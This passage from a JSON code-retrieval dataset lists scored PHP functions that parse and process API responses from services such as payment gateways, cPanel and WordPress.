( is_wp_error( $response ) ) {\n $error_message = $response->get_error_message();\n echo \"Something went wrong: $error_message\";\n } else {\n $this->_response = json_decode($this->_raw_response[\"body\"], true);\n // flatten the array real quick, in a hackish way\n $response = $this->_response;\n foreach($this->_response[\"Facebook\"] as $k => $v)\n {\n $response['facebook_' . $k] = $v;\n }\n unset($response['facebook_total_count'], $response['Facebook']);\n $this->_response = $response;\n }\n }", "title": "" }, { "docid": "f3076689c3d90aadeee2fb556f24e390", "score": "0.6513415", "text": "protected function parseResponse($response)\n\t{\n\t\t// Init\n\t\t$this->response = json_decode($response, true);\n\n\t\tif (!$this->response['succes']){\n\t\t\tthrow new PicoException(\"Failed to parse response\");\n\t\t}\n\n\t\t// Check if we have an error\n\t\t$this->setStatus($this->response['succes'], $this->response['message']);\n\n\t\t// If request was succesful then parse the result\n\t\tif ($this->isSuccessful()) {\n\t\t\tif (isset($this->response['result']) && count($this->response['result'])) {\n\t\t\t\tforeach ($this->response['result'] as $result) {\n\t\t\t\t\t$this->results[] = $result;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn !empty($this->results) ? $this->results : $this->response;\n\t}", "title": "" }, { "docid": "4427fd2844d01100c52d3df50847e239", "score": "0.6512886", "text": "private function parse_response() {\n\n\t\t// Remove namespace as SimpleXML throws warnings with invalid namespace URI provided by Authorize.net\n\t\t$this->response = preg_replace( '/[[:space:]]xmlns[^=]*=\"[^\"]*\"/i', '', $this->response );\n\n\t\t// LIBXML_NOCDATA ensures that any XML fields wrapped in [CDATA] will be included as text nodes\n\t\t$response = new WC_Authorize_Net_CIM_API_Response( $this->response, LIBXML_NOCDATA );\n\n\t\t// Throw exception for true API errors, 'E00027' is a generic 'Declined' message which is handled by response class\n\t\tif ( $response->has_api_error() && 'E00027' != $response->get_api_error_code() ) {\n\t\t\tthrow new Exception( sprintf( __( 'Error: [%s] - %s', WC_Authorize_Net_CIM::TEXT_DOMAIN ), $response->get_api_error_code(), $response->get_api_error_message() ) );\n\t\t}\n\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "ae1861bc304fc5ae41c42b7b164a078c", "score": "0.65042055", "text": "function InterpretResponse($http_response){\r\n\t\t\t\r\n\t\t\tif($http_response==\"\" || substr_count($http_response,\",\")!=5){\r\n\t\t\t\t$this->errorData=\"Unrecognizable response received.\";\r\n\t\t\t\t$this->errorNo=\"400\";\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t$retval=explode(\",\",$http_response);\r\n\t\t\t\t$this->returnCode=$retval[0];\r\n\t\t\t\t$this->approvNum=$retval[1];\r\n\t\t\t\t$this->cardResponse=$retval[2];\r\n\t\t\t\t$this->avsResponse=$retval[3];\r\n\t\t\t\t$this->recordNumber=$retval[4];\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "dc3d1123d26e6577cf7d3c331b50af91", "score": "0.6502919", "text": "function parseResponse($message) {\n\t\treturn parent::_parseResponse($message);\n\t}", "title": "" }, { "docid": "d9fe057965d5a64ac23cb10edbc6ac06", "score": "0.6476659", "text": "public function parse()\n {\n // ensure required parameters were set\n $this->_check();\n\n // bring variables forward\n foreach ($this->_variables as $_name => $_value) {\n $$_name = $_value;\n }\n\n // buffer handling\n ob_start();\n include 'render.inc.php';\n $_response = ob_get_contents();\n ob_end_clean();\n return $_response;\n }", "title": "" }, { "docid": "f6a4e37bcccb4ab9773b1c8ac3c81c47", "score": "0.6457454", "text": "protected function processResponseText($response) {\r\n\t\treturn $response;\r\n\t}", "title": "" }, { "docid": "9c132521d289238a7fe6f600d513ddb1", "score": "0.6390333", "text": "protected function processOutput($response)\n {\n $format = $this->config['output_format'];\n\n switch ($format) {\n case 'text':\n if (substr($response, 2, 6) == 'errors') {\n $response = json_decode($response);\n\n $this->processExceptions('object', $response);\n }\n\n break;\n\n case 'json':\n if (!headers_sent()) {\n header('Cache-Control: no-cache, must-revalidate');\n header('Expires: Tue, 19 May 1981 00:00:00 GMT');\n header('Content-type: application/json');\n }\n\n if (substr($response, 2, 6) == 'errors') {\n $response = json_decode($response);\n\n $this->processExceptions('object', $response);\n }\n\n break;\n\n case 'array':\n $response = json_decode($response, true);\n\n if (isset($response['errors'])) {\n $this->processExceptions('array', $response);\n }\n\n break;\n\n default:\n $response = json_decode($response);\n\n if (isset($response->errors)) {\n $this->processExceptions('object', $response);\n }\n }\n\n unset($format);\n\n return $response;\n }", "title": "" }, { "docid": "eda3e64791943cc72c1ab394df7c27ed", "score": "0.6355869", "text": "abstract public function parseResponse(array $responseBody);", "title": "" }, { "docid": "e7c438ba41b7dec80f6d57bba466b94a", "score": "0.63400453", "text": "function _extractResponse($response) {\r\n $this->_transport_error = $response->getError();\r\n $this->_raw = $response->getContent();\r\n $this->_sent = $response->getSent();\r\n $this->_headers = $response->getHeaders();\r\n $this->_method = $response->getMethod();\r\n $this->_url = $response->getUrl();\r\n $this->_request_data = $response->getRequestData();\r\n }", "title": "" }, { "docid": "f026cd7f4f0fe0bc58ca957be69a2a15", "score": "0.63395077", "text": "private function parseResponse()\n {\n\n $macro_array = array();\n $this->parsedResponse = new StdClass;\n\n $doc = new DOMDocument;\n $doc->preserveWhiteSpace = false;\n libxml_use_internal_errors(true); // Hush errors about invalid HTML. Invalid HTML is quite common, this just silences the warnings.\n $doc->loadHTML((string)$this->response->getBody());\n\n // Check to see if username exists\n $mtitle = $doc->getElementById('settings')->childNodes;\n if ($mtitle != null) {\n foreach( $mtitle as $node ) {\n if( $node->nodeValue == \"This Username is Invalid\") {\n return ['error' => \"This Username is Invalid\"];\n }\n }\n }\n \n\n // Check if the diary is set to private\n $title = $doc->getElementById('settings')->childNodes;\n if ( $title != null ) {\n foreach( $title as $node ) {\n if ($node->nodeValue == \"This Diary is Private\") {\n return ['error' => \"Diary is Private\"];\n }\n }\n }\n \n\n // Check if their are any entries for the date range\n $dateEl = $doc->getElementById('date');\n if( $dateEl != null ) {\n if($dateEl->textContent == \"No diary entries were found for this date range.\") {\n return ['error' => \"No diary entries were found for this date.\"];\n }\n }\n \n\n // Find the macro table row\n $tables = $doc->getElementsByTagName('tfoot');\n $rows = $tables->item(0)->getElementsByTagName('tr');\n foreach ( $rows as $row ) {\n $cols = $row->getElementsByTagName('td');\n foreach ( $cols as $col ) {\n array_push($macro_array, $col->textContent);\n }\n }\n\n $this->parsedResponse->username = $this->username;\n $this->parsedResponse->date = $this->date;\n $this->parsedResponse->calories = (int)$this->parseLargeInt($macro_array[1]);\n $this->parsedResponse->carbs = (int)$this->parseLargeInt(substr($macro_array[2], 0, -1));\n $this->parsedResponse->fat = (int)$this->parseLargeInt(substr($macro_array[3], 0, -1));\n $this->parsedResponse->protein = (int)$this->parseLargeInt(substr($macro_array[4], 0, -1));\n $this->parsedResponse->cholest = (int)$this->parseLargeInt(substr($macro_array[5], 0, -2));\n $this->parsedResponse->sodium = (int)$this->parseLargeInt(substr($macro_array[6], 0, -2));\n $this->parsedResponse->sugars = (int)$this->parseLargeInt(substr($macro_array[7], 0, -1));\n $this->parsedResponse->fiber = (int)$this->parseLargeInt(substr($macro_array[8], 0, -1));\n \n return ['success' => $this->parsedResponse];\n\n }", "title": "" }, { "docid": "b0090a8d4ae3c8466660e8ccbc660f7c", "score": "0.63311046", "text": "protected function parseInformation() {\n // Grab address\n $this->getAddress();\n\n // Grab metadata\n if($this->pullMetaData) {\n $this->getMetaData();\n }\n\n // Grab sold info\n $this->getSold();\n\n // Grab estimated values\n $this->getEstimatedValues();\n\n // If we have photos then pull the photos\n if($this->pullPhotos) {\n $this->getPhotos();\n }\n\n return $this->response;\n }", "title": "" }, { "docid": "d25dcb8645cd71d33adfbbcb37c27dd3", "score": "0.6314912", "text": "protected function parse()\n\t{\n\t\tif ($this->rawResponse['statusCode'] != \"200\")\n\t\t{\n\t\t\tthrow new ShipmentDocumentException(\"Unable to find document requested\");\n\t\t} // end if\n\t\t\n\t\t// otherwise\n\t\t$this->response = $this->rawResponse['body'];\n\t}", "title": "" }, { "docid": "ac4a4b685569ace864fe5c5e682bb11e", "score": "0.6295506", "text": "protected function process_response($str) {\n\n\t\t$marker = strpos($str, \"\\r\\n\\r\\n\")+4;\n\t\t$headers = substr($str, 0, $marker);\n\t\t$body = substr($str, $marker);\n\n\t\tif($this->debug == true) {\n\t\t\techo \"\\n<--\".$body;\n\t\t}\n\n\t\tif(stristr($headers, \"Transfer-Encoding: chunked\")) {\n\t\t\t$body = $this->unchunk_data($body);\n\t\t}\n\n\t\t//ungzip the content\n\t\tif(substr($body,0,3)==\"\\x1f\\x8b\\x08\") {\n\t\t\t$body = $this->gzdecode($body);\n\t\t}\n\t\t\n\t\tif(!empty($this->encryption_key)) {\n\t\t\t$body = $this->encryptor->decrypt($body);\n\t\t}\n\n\t\t$this->log_response($body);\n\t\t\n\t\t//check if response body is serialized json_response object and just unserialize and return if it is\n\t\tif($this->php_serialize_response && !empty($body)) {\n\n\t\t\ttry{\n\t\t\t\t$serialized = @unserialize($body);\n\t\t\t\tif($serialized !== false){\n\t\t\t\t\t$response = $serialized;\n\t\t\t\t}\n\t\t\t} catch(Exception $e){\n\n\t\t\t\tif($this->debug){\n\t\t\t\t\techo $body;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\n\t\t//Not sure about this?\n\t\t$body = utf8_encode($body);\n\t\t\n\t\tif(!isset($response)){\n\t\t\t$response = new sb_JSON_RPC2_Response($body);\n\t\t}\n\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "501ff19b74051f0e541ba155d7b7ba81", "score": "0.62333506", "text": "private function parseRawResponse() {\n\t\t\ttry {\n\t\t\t\t$oSxmlResponse = new \\SimpleXMLElement($this->sRawResponse);\n\t\t\t} catch (\\Exception $oException) {\n\t\t\t\t$this->iReturnCode = 500;\n\t\t\t\treturn self::RESPONSE_NOK;\n\t\t\t} // catch\n\n\n\t\t\t/* @var $oSxmlResponse SimpleXMLElement */\n\t\t\tif ($oSxmlResponse->success['code'] != null) {\n\t\t\t\t$this->iReturnCode = (int)$oSxmlResponse->success['code'];\n\t\t\t\t$this->iRemaining = (int)$oSxmlResponse->success['remaining'];\n\t\t\t\t$this->iResetDate = (int)$oSxmlResponse->success['resetdate'];\n\n\t\t\t\tif ($oSxmlResponse->retrieve != null) {\n\t\t\t\t\tif ($oSxmlResponse->retrieve['token'] != null) {\n\t\t\t\t\t\t$this->sToken =\t$oSxmlResponse->retrieve['token'];\n\t\t\t\t\t\t$this->sTokenUrl = $oSxmlResponse->retrieve['url'];\n\t\t\t\t\t} elseif ($oSxmlResponse->retrieve['apikey'] != null) {\n\t\t\t\t\t\t$this->sApiKey = (string)$oSxmlResponse->retrieve['apikey'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn self::RESPONSE_OK;\n\t\t\t} else {\n\t\t\t\t$this->iReturnCode = (int)$oSxmlResponse->error['code'];\n\t\t\t\treturn self::RESPONSE_NOK;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "ebbbe5021d9b8424cdd2941951097053", "score": "0.6225316", "text": "function get_response()\n {\n if($this->loggedin == false or feof($this->fp)){\n $this->error = EC_NOT_LOGGED_IN;\n $this->error_raw = \"You are not logged in.\";\n return false;\n }\n\n unset($this->response);\n unset($this->error);\n unset($this->error_raw);\n\n $this->line=fgets($this->fp,1024);\n $this->token = explode(\" \", $this->line, 2);\n\n if($this->token[0] == \"NO\"){\n /* we need to try and extract the error code from here. There are two possibilites: one, that it will take the form of:\n NO (\"yyyyy\") \"zzzzzzz\" or, two, NO {yyyyy} \"zzzzzzzzzzz\" */\n $this->x = 0;\n list($this->ltoken, $this->mtoken, $this->rtoken) = explode(\" \", $this->line.\" \", 3);\n if($this->mtoken[0] == \"{\"){\n while($this->mtoken[$this->x] != \"}\" or $this->err_len < 1){\n $this->err_len = substr($this->mtoken, 1, $this->x);\n $this->x++; \n }\n //print \"<br>Trying to receive $this->err_len bytes for result<br>\";\n $this->line = fgets($this->fp,$this->err_len);\n $this->error_raw[]=substr($this->line, 0, strlen($this->line) -2); //we want to be nice and strip crlf's\n $this->err_recv = strlen($this->line);\n\n while($this->err_recv < $this->err_len){\n //print \"<br>Trying to receive \".($this->err_len-$this->err_recv).\" bytes for result<br>\";\n $this->line = fgets($this->fp, ($this->err_len-$this->err_recv));\n $this->error_raw[]=substr($this->line, 0, strlen($this->line) -2); //we want to be nice and strip crlf's\n $this->err_recv += strlen($this->line);\n } /* end while */\n $this->line = fgets($this->fp, 1024);\t//we need to grab the last crlf, i think. this may be a bug...\n $this->error=EC_UNKNOWN;\n \n } /* end if */\n elseif($this->mtoken[0] == \"(\"){\n switch($this->mtoken){\n case \"(\\\"QUOTA\\\")\":\n $this->error = EC_QUOTA;\n $this->error_raw=$this->rtoken;\n break;\n default:\n $this->error = EC_UNKNOWN;\n $this->error_raw=$this->rtoken;\n break;\n } /* end switch */\n } /* end elseif */\n else{\n $this->error = EC_UNKNOWN;\n $this->error_raw = $this->line;\n } \n return false;\n\n } /* end if */\n elseif(substr($this->token[0],0,2) == \"OK\"){\n return true;\n } /* end elseif */\n elseif($this->token[0][0] == \"{\"){\n \n /* Unable wild assumption: that the only function that gets here is the get_script(), doesn't really matter though */ \n\n /* the first line is the len field {xx}, which we don't care about at this point */\n $this->line = fgets($this->fp,1024);\n while(substr($this->line,0,2) != \"OK\" and substr($this->line,0,2) != \"NO\"){\n $this->response[]=$this->line;\n $this->line = fgets($this->fp, 1024);\n }\n if(substr($this->line,0,2) == \"OK\")\n return true;\n else\n return false;\n } /* end elseif */\n elseif($this->token[0][0] == \"\\\"\"){\n\n /* I'm going under the _assumption_ that the only function that will get here is the listscripts().\n I could very well be mistaken here, if I am, this part needs some rework */\n\n $this->found_script=false; \n\n while(substr($this->line,0,2) != \"OK\" and substr($this->line,0,2) != \"NO\"){\n $this->found_script=true;\n list($this->ltoken, $this->rtoken) = explode(\" \", $this->line.\" \",2);\n\t\t//hmmm, a bug in php, if there is no space on explode line, a warning is generated...\n \n if(strcmp(rtrim($this->rtoken), \"ACTIVE\")==0){\n $this->response[\"ACTIVE\"] = substr(rtrim($this->ltoken),1,-1); \n }\n else\n $this->response[] = substr(rtrim($this->ltoken),1,-1);\n $this->line = fgets($this->fp, 1024);\n } /* end while */\n \n return true;\n \n } /* end elseif */\n else{\n $this->error = EC_UNKNOWN;\n $this->error_raw = $this->line;\n\t print '<b><i>UNKNOWN ERROR (Please report this line to <a\n\t href=\"mailto:[email protected]\">sieve-php-devel\n\t Mailing List</a> to include in future releases):\n\t '.$this->line.'</i></b><br>';\n\n return false;\n } /* end else */ \n }", "title": "" }, { "docid": "39b457ad7b9b5243394d97d27e8dbe1d", "score": "0.62189263", "text": "public function parse() {}", "title": "" }, { "docid": "fdee7f31af17be8227ccc3291f4712c1", "score": "0.6207784", "text": "private function load_response() {\n\n\t\tif ( empty( $this->directResponse ) ) {\n\t\t\tthrow new Exception( __( 'Response Error: array not present.', WC_Authorize_Net_CIM::TEXT_DOMAIN ) );\n\t\t}\n\n\t\t$_response = explode( ',', (string) $this->directResponse );\n\n\t\tif ( ! is_array( $_response ) || empty( $_response ) ) {\n\t\t\tthrow new Exception( __( 'Response Error: array conversion failed.' ) );\n\t\t}\n\n\t\t$this->_response_code = ( isset( $_response[0] ) ) ? $_response[0] : '';\n\t\t$this->_response_reason_code = ( isset( $_response[2] ) ) ? $_response[2] : '';\n\t\t$this->_response_reason_text = ( isset( $_response[3] ) ) ? $_response[3] : '';\n\t\t$this->_transaction_id = ( isset( $_response[6] ) ) ? $_response[6] : '';\n\t\t$this->_card_last_four = ( isset( $_response[50] ) ) ? $_response[50] : '';\n\t\t$this->_card_type = ( isset( $_response[51] ) ) ? $_response[51] : '';\n\t}", "title": "" }, { "docid": "fc940b428e3b5cfa1d085ee6356efd8e", "score": "0.6202668", "text": "public function parseResponse($data) { // UPDATE: done! Zool 2011\n return strlen($data) > 0 ? explode(' ', $data) : array();\n //return $data;\n }", "title": "" }, { "docid": "ce27f951a3a107e32b14d16e0a5fcf5d", "score": "0.6165725", "text": "function processresponse($response)\n{\n\tvar_dump($request);\n\t//echo $response['message'] . PHP_EOL; \n}", "title": "" }, { "docid": "91eb7fff1ff32dbdef6f6790a839ae66", "score": "0.61631256", "text": "protected function parseResponse(\\HTTP_Request2_Response $response)\n {\n if ($response->getStatus() != 200) {\n throw new \\RuntimeException(\"OneAll API error: \" . $response->getBody());\n }\n\n $json = $response->getBody();\n $answer = json_decode($json);\n\n if (false === ($answer instanceof \\stdClass)) {\n throw new \\DomainException(\"Could not decode/parse response from OneAll: {$json}\");\n }\n\n $requestStatus = $answer->response->request->status;\n if ($requestStatus->flag == 'error') {\n throw new \\RuntimeException(\n \"The request failed: {$requestStatus->info}\",\n $requestStatus->code\n );\n }\n\n // when new accounts are linked - this is set\n if (isset($answer->response->result->status)) {\n $status = $answer->response->result->status;\n if ($status->flag == 'error') {\n throw new \\RuntimeException($status->info, $status->code);\n }\n }\n\n return $answer->response->result->data;\n }", "title": "" }, { "docid": "b8cd88a5f1f8a4434f0fc8477affb902", "score": "0.61595947", "text": "protected function processResponseContent($response) {\r\n\t\treturn $response;\r\n\t}", "title": "" }, { "docid": "1b3065814442e2749a3abc8d65d6a7cc", "score": "0.61574143", "text": "protected function parse_response( array $response ) {\n\t\t$body = wp_remote_retrieve_body( $response );\n\n\t\t$data = json_decode( $body, true );\n\n\t\t// If status is false, return null.\n\t\tif ( false === ( $data['status'] ?? false ) ) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "428f7f58d0c8a4ce9ed4a76e7e869190", "score": "0.61434364", "text": "private function _parseResponse($data)\n {\n $format = strtolower($this->_config['return_format']);\n\n // If the format method exists, call and return the output in that format\n if (method_exists(Format::class, 'to_'.$format)) \n {\n // CORB protection\n // First, get the output content.\n $output = Format::factory($data)->{'to_'.$format}();\n\n // Set the format header\n // Then, check if the client asked for a callback, and if the output contains this callback :\n if (isset($this->request->query['callback']) AND $format == 'json' AND preg_match('/^'.$this->request->query['callback'].'/', $output)) \n {\n $this->response->type($this->_supported_formats['jsonp']);\n } \n else \n {\n $this->response->type($this->_supported_formats[$format]);\n }\n\n // An array must be parsed as a string, so as not to cause an array to string error\n // Json is the most appropriate form for such a data type\n if ($format === 'array') \n {\n $output = Format::factory($output)->{'to_json'}();\n }\n } \n else \n {\n // If an array or object, then parse as a json, so as to be a 'string'\n if (is_array($data) OR is_object($data)) \n {\n $data = Format::factory($data)->{'to_json'}();\n }\n // Format is not supported, so output the raw data as a string\n $output = $data;\n }\n\n $this->response->body($output);\n }", "title": "" }, { "docid": "4e7afad7f4f2765174356fb14025acec", "score": "0.6119695", "text": "public function parseResponse($response){\n\t\t$parsed_response = array();\n\t\tforeach ($response as $i => $value)\n\t\t{\n\t\t $tmpAr = explode(\"=\", $value);\n\t\t if(sizeof($tmpAr) > 1) {\n\t\t $parsed_response[$tmpAr[0]] = $tmpAr[1];\n\t\t }\n\t\t}\n\t\t\n\t\treturn $parsed_response;\n\t}", "title": "" }, { "docid": "91169ac71eb8d4351801b541847a34b0", "score": "0.6114953", "text": "public function processResponse(Response $response)\n {\n\n }", "title": "" }, { "docid": "21e69969a8dd565c7aa891e9b98259cf", "score": "0.61073315", "text": "protected function postProcessResponse( &$response )\n\t{\n\t}", "title": "" }, { "docid": "8268e6b6472ba0a620bd7c539e11af0d", "score": "0.6104988", "text": "private function hack_process_response($response) {\n ob_start();\n $this->adapter->process_response($response);\n return ob_get_clean();\n }", "title": "" }, { "docid": "c50f21aacba84c412ec2a0d47508185e", "score": "0.6095369", "text": "function parse($response) {\r\n $this->_tags = array();\r\n $this->_page = &$this->_createPage($response);\r\n $parser = &$this->_createParser($this);\r\n $parser->parse($response->getContent());\r\n $this->_page->acceptPageEnd();\r\n return $this->_page;\r\n }", "title": "" }, { "docid": "44e53aef262e313b3dd722bbcd7733ad", "score": "0.60661405", "text": "function _ParseResponse($response = '')\r\n{\r\n\tif (trim($response) == 'Success |')\r\n\t{\r\n\t\t$items[] = 'No Limits MSG at Last Revision<br>'.CurrentTime(); \t\r\n\t}\r\n\telse\r\n\t{\r\n\t$response = str_replace('<BR>', '<P>', $response);\r\n\t$response = explode(\"<P>\", $response);\t\r\n\tforeach ($response as $k => $v)\r\n\t{\r\n\t\t$response[$k] = str_replace(' more items and $', '|', $v);\t\t\r\n\t\t$response[$k] = trim(str_replace(\"eBay returned the following error(s):\", '', $response[$k]));\r\n\t\t$response[$k] = trim(str_replace(\" more this month.\", '', $response[$k]));\r\n\t\t$response[$k] = trim(str_replace(\"Request to list more: https://scgi.ebay.com/ws/eBayISAPI.dll?UpgradeLimits&appId=0&refId=19\", '', $response[$k]));\r\n\t\t$response[$k] = trim(str_replace(\"21919189 : \", '', $response[$k]));\r\n\t\t$response[$k] = trim(str_replace(\"You'll be able to list\", '', $response[$k]));\r\n\t\t$response[$k] = trim(str_replace(\"<BR>\", '', $response[$k]));\t\t\t\r\n\t\t$response[$k] = trim(str_replace(\"<P>\", '', $response[$k]));\t\t\t\r\n\t\t$response[$k] = trim(str_replace(\"</P>\", '', $response[$k]));\t\t\t\r\n\t\t$response[$k] = trim(str_replace(\"<B>\", '', $response[$k]));\t\t\t\r\n\t\t$response[$k] = trim(str_replace(\"</B>\", '', $response[$k]));\t\r\n\t\t\r\n\t\t$check = explode('|', $response[$k]);\r\n\t\tif (isset($check[1]))\r\n\t\t{\r\n\t\t\t$check[1] = explode('.', $check[1]);\r\n\t\t\tif (isset($check[1][1]) && is_numeric(trim($check[1][1])))\r\n\t\t\t{\t\t\t\t\r\n\t\t\t\t$color = '<span style=\"color:white;\">';\r\n\t\t\t\t$dollar = str_replace(',','',$check[1][0]);\r\n\t\t\t\tif ((int)$check[0] < 100 || (int)$do < 1000) $color = '<span style=\"color:red;\">';\r\n\t\t\t\t$string = $color.(int)$check[0].' / $'. $check[1][0].'.'.$check[1][1].'<br>'.CurrentTime().'</span>';\r\n\t\t\t\tif (strlen($string) < 100) $items[] = $string; \t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t}\r\n\t}\r\n\tif (isset($items))\r\n\t{\r\n\t\t$last = end(array_keys($items));\r\n\t\t$this->db->update('settings', array('svalue'=>$items[$last]), array('skey' => 'ebayresponse'));\r\n\t\t//GoMail(array ('msg_title' => 'ebayresponse @'.CurrentTime(), 'msg_body' => $items[$last], 'msg_date' => CurrentTime()), $this->config->config['support_email'], $this->config->config['no_reply_email']);\r\n\t}\r\n}", "title": "" }, { "docid": "59a43fa9c248b0518594970abb059a20", "score": "0.60537124", "text": "public function processResponse($response)\n {\n\n if (!$response['status'])\n {\n $this->lastError = [\n 'code' => $response['code'],\n 'error' => $response['body'],\n ];\n\n return false;\n }\n\n return $response['body'][$this->model->getEndpoint()];\n }", "title": "" }, { "docid": "2e7d6f89cab1435df7302a95f9c19266", "score": "0.6049114", "text": "public function parse_api_response($content)\n {\n $parsedresponse = simplexml_load_string($content, \"SimpleXMLElement\", LIBXML_NOWARNING);\n if (\"Ok\" != $parsedresponse->messages->resultCode) {\n foreach ($parsedresponse->messages->message as $msg) {\n $this->errors[] = '['.htmlspecialchars($msg->code).'] '.htmlspecialchars($msg->text);\n }\n if (isset($parsedresponse->validationDirectResponse)) {\n JLog::add($parsedresponse->validationDirectResponse);\n }\n }\n return $parsedresponse;\n }", "title": "" }, { "docid": "580d5a91240dd40a5a7c741eabd69965", "score": "0.6031934", "text": "private function parse_oauth_request_response(string $response): object\n\t{\n\t\t$return = [];\n\t\tparse_str($response, $return);\n\t\treturn (object)$return;\n\t}", "title": "" }, { "docid": "f1d903b9781967c4f7c012f2908f1f3e", "score": "0.59961665", "text": "function dsf_processMontradaReturn($response){\n\t\n\t$values = explode('&', $response);\n\t\n\t$response_array = array();\n\t\n\tforeach($values as $value){\n\t\t\n\t\t$tempval = explode('=', $value);\n\t\t\n\t\t$temparray = urldecode($tempval[0]);\n\t\t\n\t\t$response_array[$temparray] = urldecode($tempval[1]);\n\t\t\n\t}\n\t\n\t\n\t\n\treturn $response_array;\n}", "title": "" }, { "docid": "0992e03c7a2484ed10c335759448a898", "score": "0.59886384", "text": "function __processResponse($return_data)\n\t{\n\t\t$this->code = '';\n\t\t$this->description = '';\n\n\t\tif ( $return_data === false )\n\t\t{\n\t\t\t$this->code = $this->client->getError();\n\t\t\t$this->description = '';\n\t\t\tuser_error('NuSOAP error. '.$this->code);\n\t\t\treturn false;\n\t\t}\n\t\telseif ( is_array($return_data) )\n\t\t{\n\t\t\tif ( isset($return_data['faultcode']) )\n\t\t\t{\n\t\t\t\tuser_error('NuSOAP error. Faultcode: \\''.$return_data['faultcode'].'\\' Faultstring: \\''.$return_data['faultstring'].'\\' Detail: \\''.$return_data['detail'].'\\'');\n\n\t\t\t\t$this->code = $return_data['faultcode'];\n\t\t\t\t$this->description = $return_data['faultstring'];\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$resptext = array_pop($return_data);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$resptext = $return_data;\n\t\t}\n\n\t\t// Returned XML: <payex> [...] <status><code>code</code><description>description</description></status> [...] </payex>\n\n\t\t// Parse XML into object-structure\n\t\t$xmlroot = &new KQXmlobj();\n\t\t$xmlroot->from_xml($resptext);\n\n\t\t// Check status\n\t\tif ( $status = &$xmlroot->get_child('status') ) // get status-tag\n\t\t{\n\t\t\t$code = $this->code = $status->get_value('code'); // get value in code-tag from status-tag\n\t\t\t$description = $this->description = $status->get_value('description'); // get value in description-tag from status-tag\n\n\t\t\t\t// loop all tags in the returned xml\n\t\t\t\twhile ( $tag =& $xmlroot->get_child() )\n\t\t\t\t{\n\t\t\t\t\t// get the tag name\n\t\t\t\t\t$name = $tag->get_name();\n\t\t\t\t\t$subs = false;\n\n\t\t\t\t\twhile ( $subtag =& $tag->get_child() )\n\t\t\t\t\t{\n\t\t\t\t\t\t$subs = true;\n\t\t\t\t\t\t$subname = $subtag->get_name();\n\n\t\t\t\t\t\tif ( method_exists($this, 'set'.ucfirst($name)) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// run setfunction\n\t\t\t\t\t\t\tcall_user_func(array(&$this, 'set'.ucfirst($name)), $subname, $subtag->get_value());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( $subs === false )\n\t\t\t\t\t{\n\t\t\t\t\t\t// check if class has a setfunction for this var\n\t\t\t\t\t\tif ( method_exists($this, 'set'.ucfirst($name)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// run setfunction with value from xml\n\t\t\t\t\t\t\tcall_user_func(array(&$this, 'set'.ucfirst($name)), $tag->get_value());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tuser_error('Missing status-tag in payex-response');\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "714d4cc74b6cad86e846ecb54bcc9355", "score": "0.5987508", "text": "abstract protected function _response();", "title": "" }, { "docid": "69835ad67e95a1686a064119df885408", "score": "0.59523016", "text": "public function getDecodedResponse();", "title": "" }, { "docid": "2e405409c6d20132023dde42b60c9ef4", "score": "0.5946765", "text": "abstract protected function parse();", "title": "" }, { "docid": "f681b24b83097492b350e6db79e00d23", "score": "0.5916006", "text": "private function parseResponse($response) {\n\t\t// Ready JSON\n\t\t$this->loadJson();\n\t\t\n\t\t$row = $this->getModuleRow();\n\t\t\n\t\t$result = $this->Json->decode($response);\n\t\t$success = true;\n\t\t\n\t\t// Set internal error\n\t\tif (!$result) {\n\t\t\t$this->Input->setErrors(array('api' => array('internal' => Language::_(\"Cpanel.!error.api.internal\", true))));\n\t\t\t$success = false;\n\t\t}\n\t\t\n\t\t// Only some API requests return status, so only use it if its available\n\t\tif (isset($result->status) && $result->status == 0) {\n\t\t\t$this->Input->setErrors(array('api' => array('result' => $result->statusmsg)));\n\t\t\t$success = false;\n\t\t}\n\t\telseif (isset($result->result) && is_array($result->result) && isset($result->result[0]->status) && $result->result[0]->status == 0) {\n\t\t\t$this->Input->setErrors(array('api' => array('result' => $result->result[0]->statusmsg)));\n\t\t\t$success = false;\n\t\t}\n\t\telseif (isset($result->cpanelresult) && !empty($result->cpanelresult->error)) {\n\t\t\t$this->Input->setErrors(array('api' => array('error' => (isset($result->cpanelresult->data->reason) ? $result->cpanelresult->data->reason : $result->cpanelresult->error))));\n\t\t\t$success = false;\n\t\t}\n\t\t\n\t\t// Log the response\n\t\t$this->log($row->meta->host_name, $response, \"output\", $success);\n\t\t\n\t\t// Return if any errors encountered\n\t\tif (!$success)\n\t\t\treturn;\n\t\t\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "176c4555a560799549f0884625f48d56", "score": "0.5913328", "text": "public function parse();", "title": "" }, { "docid": "176c4555a560799549f0884625f48d56", "score": "0.5913328", "text": "public function parse();", "title": "" }, { "docid": "cbb7be718b7cfcbfe29fadc71313b049", "score": "0.59067726", "text": "public function parseXMLResponse() {\n // Clear pre-existing error\n $this->api_response_error = FALSE;\n // ALL XML Responses return the same failure format:\n // <status>failure</status>\n // <message>{ FAILURE MESSAGE }</message>\n $xml_response_object = simplexml_load_string($this->api_response_xml);\n // set xml_response_object as the data\n $this->api_response_data_obj = $xml_response_object;\n // check response status for errors\n if($xml_response_object->STATUS == 'failure') {\n // error; set the error to true and the message\n $this->api_response_error = TRUE;\n $this->api_response_error_msg = (string) $xml_response_object->MESSAGE;\n } else if($xml_response_object->STATUS == 'success') {\n // no errors;\n }\n }", "title": "" }, { 